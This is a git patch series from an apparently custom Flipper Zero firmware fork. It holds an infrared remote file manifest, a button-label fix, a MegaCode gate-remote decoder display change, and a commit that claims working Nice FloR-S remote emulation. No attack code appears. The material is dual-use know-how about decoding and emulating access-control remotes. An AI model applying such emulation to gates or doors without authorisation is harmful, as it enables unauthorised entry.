+F:7d94a97b259496cabd7b0bcb00cac725:2916:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir +F:e6daaaaf76f006dbf29900d1197d5927:2561:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir +F:c7632574f0d86e50ce6774c724b29ae5:4323:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir +F:263e18b29491e15192bc73e998128779:1891:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir +F:9994e61a71ee3496e53144df8c98e797:834:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir +F:11e4015924c680a0c355ef29cf681188:972:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir +F:d6fdbccf172f16b0546cf0e4bd41cadd:938:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir +F:8842bb0f070b05f0b5b3d370bcad6672:2986:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir +F:a917587c8c4cb2c67eba9ec80c40047b:4272:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir +F:3ebdda414a7e1c8b0111cf888845aaef:844:infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir +F:54e34895e9ec1b8063e4d1296d2af656:2474:infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir +F:99854b0905572981c08b13061654017c:815:infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir +F:2b6a1fd3eef3143576f1698a652abd74:2438:infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir +F:08e06cc0a876ad7686a92d96d2be3538:1727:infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir +F:310d6e60613dfd51c3d31dd025552868:2644:infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir +F:2281fd0d3d2c36230ff5086445a90654:1794:infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir +F:3a782356e5ad61441220f634753799e0:2919:infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir +F:b15468c38f01ea0d5c191b670f19ab0e:4668:infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir +F:d20093bf99bd5d81529e706844ef3b79:2875:infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir +F:8411df731415fcf9a9bb690d693b1575:2665:infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir +F:1d45f0493856dabd9b39144934733bc7:1726:infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir +F:922b0046ad580649ed06df10479916bd:2710:infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir +F:0654742f8fa25683467a56c48589e055:1451:infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir +F:eb72eda3d73311bc24b52f23892312a4:3029:infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir +F:4f1cd1e5844d49f55871058422339484:3589:infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir +F:fc6b817bf06014adcc6c5b836e49ecf3:2854:infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir +F:f129810732e3c624eb5556cfff02c6d3:2452:infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir +F:299595116084af968a6dbfbabd66f9a3:1572:infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir +F:411512de980105bd1880a58812f180d2:4039:infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir +F:9e33638c485905056b6d3281a4488671:3617:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir +F:3f112c140cccc818872508f2a76facf3:2559:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir +F:2829cc29d6d5660d21a60b1924fea9ec:2349:infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir +F:9a19b81610752002f77c70dce2142736:1077:infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir D:infrared/_CSV-IRDB_/Yamakawa/DVD Player D:infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga -F:954512edca80e3f84e1c9383e06ca205:4040:infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir -F:a886ac78e73c7b3bd97a9f190333fe15:4204:infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir +F:b5b84f877d29390e95099fd186774246:3780:infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir +F:55ba76fe06d4cda275831dfaf0e1eb01:3938:infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir D:infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO -F:2ba61db41ff8b5fbc4d471b318e8e05a:3587:infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir +F:89f434297149ce5439f71f578ff5e9b5:3363:infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir D:infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT -F:6d6460b034a80cb73792f7746087a161:4105:infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir +F:b7ece849c6ef4916bcaddf1c26e28c2f:3845:infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir D:infrared/_CSV-IRDB_/Zehnder/Unknown_VCR -F:b56551a5617153b0937466e77aae9bd7:2371:infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir +F:37a41c24d4b2202541bfe93a96ef9dbe:2219:infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir D:infrared/_CSV-IRDB_/Zenith/TV D:infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102 D:infrared/_CSV-IRDB_/Zenith/Unknown_C32V37 @@ -6180,116 +6180,116 @@ D:infrared/_CSV-IRDB_/Zenith/Unknown_VCR D:infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015 D:infrared/_CSV-IRDB_/Zenith/VCR D:infrared/_CSV-IRDB_/Zenith/Video Projector -F:7dd3ac4a410f0df292f668c53bbc4496:3539:infrared/_CSV-IRDB_/Zenith/TV/5,1.ir -F:8d6949659dbfaa5264100ef105cdcaef:787:infrared/_CSV-IRDB_/Zenith/TV/7,0.ir -F:fed188f7c60393e4fefa35c328e48a63:237:infrared/_CSV-IRDB_/Zenith/TV/7,1.ir -F:96d55c904b0998d27fbe3f0074f5bd2d:3625:infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir -F:b8e36fcb12cc1114ad4e0e57d6a48c1e:3980:infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir -F:16daa0aa841a4b8c7c705a62867c08a7:1744:infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir -F:448baf640625a3f6446df400de0cd935:1935:infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir -F:38c482e3af4c18642864305c0fcc8d79:3071:infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir -F:1a414a7ea4149bb30b86fecd66f28798:2816:infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir -F:12f4e2524c0c6b4af47d809217214aba:1844:infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir -F:3456a40ab6c04cbb69e6021c776c3a03:1349:infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir +F:e604b4c7deda87d339671a23abd0c964:3315:infrared/_CSV-IRDB_/Zenith/TV/5,1.ir +F:e6ec2378fc2a514555d5cbad7d2b591b:737:infrared/_CSV-IRDB_/Zenith/TV/7,0.ir +F:86cdfcca87c8fa14796d934938136bb5:223:infrared/_CSV-IRDB_/Zenith/TV/7,1.ir +F:bb9c1c189acd13717074a25418bb13c6:3395:infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir +F:a2f9de1f483a3845209d62fa45a8835d:3726:infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir +F:228be1485f723d9e656f4d03bdd2bb2f:1634:infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir +F:10281ea53b9ed72c5190923b9c41e9cb:1813:infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir +F:35d887c30986dde7fc6f094082caff64:2877:infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir +F:474132585afad4a34288d418707650f6:2634:infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir +F:eb50f6085a0dbbe000a1c4edde836503:1728:infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir +F:3c23801ab024b0792737ef17cd7c141f:1263:infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir D:infrared/_CSV-IRDB_/Zephir/ZDEBT2 -F:7462d888c691db9d8b944e8853c3634e:4011:infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir +F:7eaadcbe130825402521522db8819e7f:3745:infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir D:infrared/_CSV-IRDB_/Zinwell/Satellite Receiver -F:a9753a4a06710a17e1e3db23ea5edd95:2419:infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir +F:0eb1682be7d45e33b24f1457edba02f5:2261:infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir D:infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100 -F:db970ddf36f6f7b222fa4ef6bd0570cf:2344:infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir +F:0bc0f5943e4698cfeed86f602765cf38:2198:infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir D:infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix -F:662833326e8756646c353ac9f758a6e3:2029:infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir +F:1a71777fc9bdb13bf5fbd2275f9dcba6:1901:infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir D:infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000 -F:35ab80fe8e3c6384dffbc2c6c5e188e6:4483:infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir +F:c0ed31b1e78223313f11d77ddbf84d3d:4199:infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir D:infrared/_CSV-IRDB_/anysee/Unknown_anysee -F:7f3b839b0119f2d2a7e2579053026d52:4213:infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir +F:363cc77cd8dbaac2386defde5cb2c823:3947:infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir D:infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240 -F:3e0024ad0ed70fba4b0ab925084e831d:1475:infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir +F:bae228c501aaf94757208f6a7e4982c0:1383:infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir D:infrared/_CSV-IRDB_/cenOmax/Unknown_F702 -F:075f46df609ec986a82a19d906195da4:1005:infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir +F:2792b9f2b96e17564a5c5aba190ea2dc:943:infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir D:infrared/_CSV-IRDB_/daytron/Unknown_daytron -F:4b3b3e6a8cb583371a801dfab183887d:1092:infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir +F:b8b4c034eb81bd673b4eaa8e838ab2a3:1024:infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir D:infrared/_CSV-IRDB_/dual/Unknown_dual -F:c75fa9030059014ee9387014e5338687:2650:infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir +F:96c9bed7c945be47d8c3d0a172745357:2480:infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir D:infrared/_CSV-IRDB_/eltax/Unknown_corniche -F:5f679828ffea7b0624402c8ae5732d97:4468:infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir +F:b650f640cd5294d31ddfdd49c7cfee63:4196:infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir D:infrared/_CSV-IRDB_/fenner/Unknown_fenner -F:09cb44269596b773f1955a501d892aa7:2648:infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir +F:133db8750b1a8c3cf68b47e9cd0a793e:2478:infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir D:infrared/_CSV-IRDB_/huth/Unknown_prof -F:bf9aba6a782912d25e70dd89ccd3ce95:2937:infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir +F:eccf280baa1747a3a9c40eb99ab1eb24:2749:infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir D:infrared/_CSV-IRDB_/iPort/MP3 Player D:infrared/_CSV-IRDB_/iPort/iPod D:infrared/_CSV-IRDB_/iPort/iPort -F:240e54f6380dfa0c47dfbaa0869286df:2633:infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir -F:10cda0371887f3f80e649cd68a49f669:2636:infrared/_CSV-IRDB_/iPort/iPod/1,222.ir -F:7f9581592286b881d39a22fa45b13611:2531:infrared/_CSV-IRDB_/iPort/iPort/1,222.ir +F:300ba7a32d966af53eb4d62ddb7264b0:2469:infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir +F:a2a711a5cedad233709a3655e1f9be40:2472:infrared/_CSV-IRDB_/iPort/iPod/1,222.ir +F:bec1950c24a4f0ad847ab40710db3f26:2373:infrared/_CSV-IRDB_/iPort/iPort/1,222.ir D:infrared/_CSV-IRDB_/imon/Unknown_MultiMedian -F:19100580a3d00d4d16a12cd5c106e882:4318:infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir +F:39650f1abd359a465de87a7115659c9d:4046:infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir D:infrared/_CSV-IRDB_/ione/Unknown_remote -F:0370a53d21fe85eb0155408afa069594:3976:infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir +F:acd8d733eebb29d2781bfc4baaf988e3:3728:infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir D:infrared/_CSV-IRDB_/italtel/Unknown_italtel -F:b27d25ebfbc1f98eb48d74e714b53449:2699:infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir +F:2cadb823863ab3d4ee3c7b73ad154798:2529:infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir D:infrared/_CSV-IRDB_/kendo/Unknown_RC-610 -F:221bbc4f6a1f4df1d340e8686a02dbbe:2689:infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir +F:92eec161113cd6fcdc20aa3abc116a2c:2519:infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir D:infrared/_CSV-IRDB_/konig/Unknown_konig -F:fbddf74ce853e8d2ce745faec30f07df:4100:infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir +F:7e70dfe3962ace5ddbfee72691c2a766:3840:infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir D:infrared/_CSV-IRDB_/kosmos/Unknown_kosmos -F:350a9129e6896ac07c3be2210263b01c:1975:infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir +F:82b5ab75a8ae5aba68e88ab605ab3897:1847:infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir D:infrared/_CSV-IRDB_/mStation/Unknown_mStation -F:79abf19803f663d53e0ca6fb94596500:1186:infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir +F:b6af974d5fa09fe4b931180265daa811:1112:infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir D:infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA -F:7f7b0dae20ce8d32fb7ceb29f262f62c:1804:infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir +F:89ce545bb1d6be401768b2638a4f5247:1688:infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir D:infrared/_CSV-IRDB_/mivar/Unknown_mivar -F:ff8ee1729eb53f98acb1d9ab36593b1b:2819:infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir +F:70266c3fae1ac1edd3af4d65f345e3b6:2637:infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir D:infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC -F:0925458acbf89b7ec8cb6f9dd33d912d:2471:infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir +F:c75d07a58597cd0f8883bdf7b57facde:2313:infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir D:infrared/_CSV-IRDB_/oceanic/Unknown_oceanic -F:b6e42f0f3c065215fc0bf803ef773b55:1823:infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir +F:e15e60f27bac7dd275fded9a9f071b1a:1707:infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir D:infrared/_CSV-IRDB_/orion/Unknown_RC-CB D:infrared/_CSV-IRDB_/orion/Unknown_TV-713 D:infrared/_CSV-IRDB_/orion/Unknown_orion D:infrared/_CSV-IRDB_/orion/Unknown_orion-RC57 -F:8621a29250201ca0976f844b30e56713:2698:infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir -F:123b0a531c00cf01fedbbfc337164756:3740:infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir -F:92c65e6a13733bc75051c54be73f6caa:3445:infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir -F:771f6246ffec092d5ab2b5aefa5d2674:712:infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir +F:02fb8f39abb354688a86793e87f40c3b:2528:infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir +F:43849d78ca5a27f0050c6a37add3de91:3504:infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir +F:f96300fc13dcd7a71507df245fa196d1:3227:infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir +F:5b5657517cda9c1469e4c21ef28a672a:668:infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir D:infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler -F:bdbf22501b165ab181b748357436573a:3755:infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir +F:30bb6e500217d4b0d142efe98b9fc425:3507:infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir D:infrared/_CSV-IRDB_/remotec/Unknown_TV D:infrared/_CSV-IRDB_/remotec/Unknown_remotec D:infrared/_CSV-IRDB_/remotec/Unknown_remotec1072 D:infrared/_CSV-IRDB_/remotec/Unknown_rm200 -F:2b7e771a2543e7717adb41b86b574715:2369:infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir -F:de979f2147d776bca16ee1da68000d22:2380:infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir -F:78d8a4acad00e39ff00c110b19f5bc68:2201:infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir -F:d0ee76b9eee1c3cab9b711a168352a17:2208:infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir +F:89ee5a94a3feec9cfc958cedde2d87ec:2217:infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir +F:cb7886d0ecf2b5c5a7821e79241878a2:2228:infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir +F:8da7f966f726a2ceb1d8c07301b99244:2061:infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir +F:6e5afe7191716295bf44c3b47edb8d08:2068:infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir D:infrared/_CSV-IRDB_/roadstar/Unknown_dvd -F:2d9a2042304adc4f44e71825dca2b804:3831:infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir +F:64c8bbfa047384f70c34b30a9c08458d:3589:infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir D:infrared/_CSV-IRDB_/rubin/Unknown_rubin -F:0ef3c735c4c32ff278498a35ce7d78c3:3538:infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir +F:02cd0f037504bd2a2e43b460e3e20e61:3308:infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir D:infrared/_CSV-IRDB_/starhub/Unknown_starhub -F:399cf652ea811bb167da1d3833e0601c:3932:infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir +F:d1388a0d6547d376456390f28990a47e:3684:infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir D:infrared/_CSV-IRDB_/sun/Unknown_sun -F:eeb991ce8733c7ee0c4e17b3b5468d97:2005:infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir +F:99cde243d07e8f3f2953bf8c5e61c129:1883:infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir D:infrared/_CSV-IRDB_/trio/Unknown_xms007 -F:212ad24982e747e237604c8e95b1cd8d:2785:infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir +F:b0beadcaff96a741120f79fda8de1f14:2609:infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir D:infrared/_CSV-IRDB_/universum/SAT D:infrared/_CSV-IRDB_/universum/SAT_SR420 D:infrared/_CSV-IRDB_/universum/Unknown_universum D:infrared/_CSV-IRDB_/universum/VCR D:infrared/_CSV-IRDB_/universum/VCR_VR743A -F:a2539ffcb0c12c68a7e83287b476bc46:1889:infrared/_CSV-IRDB_/universum/SAT/97,135.ir -F:da49a9494d0ab943bc40e1081d9e2ff5:2776:infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir -F:f24ccf8d4def6bbdd983192faa90e9a1:4987:infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir -F:a7109de7f7ddcb24df239af1d3b881f3:4149:infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir -F:474b50c7d905b21449a05f292e84727b:4220:infrared/_CSV-IRDB_/universum/VCR/128,123.ir -F:d16ced6e42dca34f58c2208c4941cdd4:2761:infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir +F:21a8b6f4a754f6cba9669249fc60573b:1767:infrared/_CSV-IRDB_/universum/SAT/97,135.ir +F:0890732cc5f295734cf3416bfb003e21:2600:infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir +F:d25b0652b0348c4d8adc95ea689e0e2c:4679:infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir +F:2e16a2eb1b87bcfccdf40061ee89d36f:3883:infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir +F:f45dcdde8fb1eea1a510b38f34108f60:3954:infrared/_CSV-IRDB_/universum/VCR/128,123.ir +F:eede86d587171f377b9f47d8ed121348:2585:infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir D:infrared/_CSV-IRDB_/videologic/Unknown_rm201 -F:ef8999c17e52923aa68ebb3f36b9bad2:1280:infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir +F:265b0db6bcceb48e60c602c02811acc0:1200:infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir D:infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro -F:bad31bc3283b66edaf096481238f481d:3225:infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir +F:0a22a69bdce302fe1531f8800d82ebe0:3019:infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir D:infrared/_CSV-IRDB_/xsat/Unknown_xsat -F:0c450c6730d514acaec1636f65b470cc:3435:infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir +F:26a051e23c77726157eac21064e6bb4f:3217:infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir F:d895fda2f48c6cc4c55e8a398ff52e43:74300:infrared/assets/tv.ir F:a157a80f5a668700403d870c23b9567d:470:music_player/Marble_Machine.fmf D:nfc/assets diff --git a/firmware/targets/f7/furi_hal/furi_hal_resources.c b/firmware/targets/f7/furi_hal/furi_hal_resources.c index 4209e0cf8..0af33cac6 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_resources.c +++ b/firmware/targets/f7/furi_hal/furi_hal_resources.c @@ -68,7 +68,7 @@ const InputPin input_pins[] = { {.gpio = &gpio_button_down, .key = InputKeyDown, .inverted = true, .name = "Down"}, {.gpio = &gpio_button_right, .key = InputKeyRight, .inverted = true, .name = "Right"}, {.gpio = &gpio_button_left, .key = InputKeyLeft, .inverted = true, .name = "Left"}, - {.gpio = &gpio_button_ok, .key = InputKeyOk, .inverted = false, .name = "Ok"}, + {.gpio = &gpio_button_ok, .key = InputKeyOk, .inverted = false, .name = "OK"}, {.gpio = &gpio_button_back, .key = InputKeyBack, .inverted = true, .name = "Back"}, }; diff --git a/lib/subghz/protocols/megacode.c b/lib/subghz/protocols/megacode.c index 48a6908e9..6f6240a62 100644 --- a/lib/subghz/protocols/megacode.c +++ b/lib/subghz/protocols/megacode.c @@ -401,13 +401,14 @@ void subghz_protocol_decoder_megacode_get_string(void* context, string_t output) string_cat_printf( output, "%s %dbit\r\n" - "Key:%06lX\r\n" - "Sn:%04lX Btn:%X\r\n" - "Facility:%X\r\n", + "Key:0x%06lX\r\n" + "Sn:0x%04lX - %d\r\n" + "Facility:%X Btn:%X\r\n", instance->generic.protocol_name, instance->generic.data_count_bit, (uint32_t)instance->generic.data, instance->generic.serial, - instance->generic.btn, - instance->generic.cnt); + instance->generic.serial, + instance->generic.cnt, + instance->generic.btn); } From 2956f2e6f46f3ed5c19ee9269d14ce79d215af96 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 23:19:04 +0300 Subject: [PATCH 191/461] add wplugins updates without conficting NFC and BT/BLE changes Nice FloR-S emulation now working --- applications/applications.c | 41 +- applications/applications.mk | 6 + .../file_browser_test/file_browser_app.c | 99 ++++ .../file_browser_test/file_browser_app_i.h | 32 ++ .../scenes/file_browser_scene.c | 30 + .../scenes/file_browser_scene.h | 29 + .../scenes/file_browser_scene_browser.c | 45 ++ .../scenes/file_browser_scene_config.h | 3 + .../scenes/file_browser_scene_result.c | 36 ++ .../scenes/file_browser_scene_start.c | 44 ++ applications/desktop/desktop.c | 7 +- applications/gui/modules/file_browser.c | 532 ++++++++++++++++++ applications/gui/modules/file_browser.h | 39 ++ .../gui/modules/file_browser_worker.c | 420 ++++++++++++++ .../gui/modules/file_browser_worker.h | 57 ++ applications/jukebox/jukebox.c | 59 +- applications/universal_rf/universal_rf.c | 65 +-- assets/compiled/assets_icons.c | 71 +++ assets/compiled/assets_icons.h | 6 + assets/icons/Archive/back_10px.png | Bin 0 -> 154 bytes assets/icons/Archive/loading_10px.png | Bin 0 -> 173 bytes .../TouchTunes_14/frame_00_delay-0.04s.png | Bin 0 -> 470 bytes .../TouchTunes_14/frame_01_delay-0.04s.png | Bin 0 -> 411 bytes .../TouchTunes_14/frame_02_delay-0.04s.png | Bin 0 -> 411 bytes .../TouchTunes_14/frame_03_delay-0.04s.png | Bin 0 -> 411 bytes .../TouchTunes_14/frame_04_delay-0.04s.png | Bin 0 -> 401 bytes .../TouchTunes_14/frame_05_delay-0.04s.png | Bin 0 -> 397 bytes .../TouchTunes_14/frame_06_delay-0.04s.png | Bin 0 -> 400 bytes .../TouchTunes_14/frame_07_delay-0.04s.png | Bin 0 -> 404 bytes .../TouchTunes_14/frame_08_delay-0.04s.png | Bin 0 -> 414 bytes .../TouchTunes_14/frame_09_delay-0.04s.png | Bin 0 -> 427 bytes .../TouchTunes_14/frame_10_delay-0.04s.png | Bin 0 -> 427 bytes .../TouchTunes_14/frame_11_delay-0.04s.png | Bin 0 -> 426 bytes .../TouchTunes_14/frame_12_delay-0.04s.png | Bin 0 -> 431 bytes .../TouchTunes_14/frame_13_delay-0.04s.png | Bin 0 -> 424 bytes .../TouchTunes_14/frame_14_delay-0.04s.png | Bin 0 -> 424 bytes .../TouchTunes_14/frame_15_delay-0.04s.png | Bin 0 -> 424 bytes .../TouchTunes_14/frame_16_delay-0.04s.png | Bin 0 -> 424 bytes .../TouchTunes_14/frame_17_delay-0.04s.png | Bin 0 -> 426 bytes .../TouchTunes_14/frame_18_delay-0.04s.png | Bin 0 -> 418 bytes .../TouchTunes_14/frame_19_delay-0.04s.png | Bin 0 -> 419 bytes .../TouchTunes_14/frame_20_delay-0.04s.png | Bin 0 -> 425 bytes .../TouchTunes_14/frame_21_delay-0.04s.png | Bin 0 -> 415 bytes .../TouchTunes_14/frame_22_delay-0.04s.png | Bin 0 -> 405 bytes .../TouchTunes_14/frame_23_delay-0.04s.png | Bin 0 -> 394 bytes .../TouchTunes_14/frame_24_delay-0.04s.png | Bin 0 -> 401 bytes .../TouchTunes_14/frame_25_delay-0.04s.png | Bin 0 -> 401 bytes .../TouchTunes_14/frame_26_delay-0.04s.png | Bin 0 -> 404 bytes .../TouchTunes_14/frame_27_delay-0.04s.png | Bin 0 -> 410 bytes .../TouchTunes_14/frame_28_delay-0.04s.png | Bin 0 -> 411 bytes .../TouchTunes_14/frame_29_delay-0.04s.png | Bin 0 -> 411 bytes .../icons/MainMenu/TouchTunes_14/frame_rate | 1 + .../MainMenu/UniversalRemote_14/frame_1.png | Bin 0 -> 170 bytes 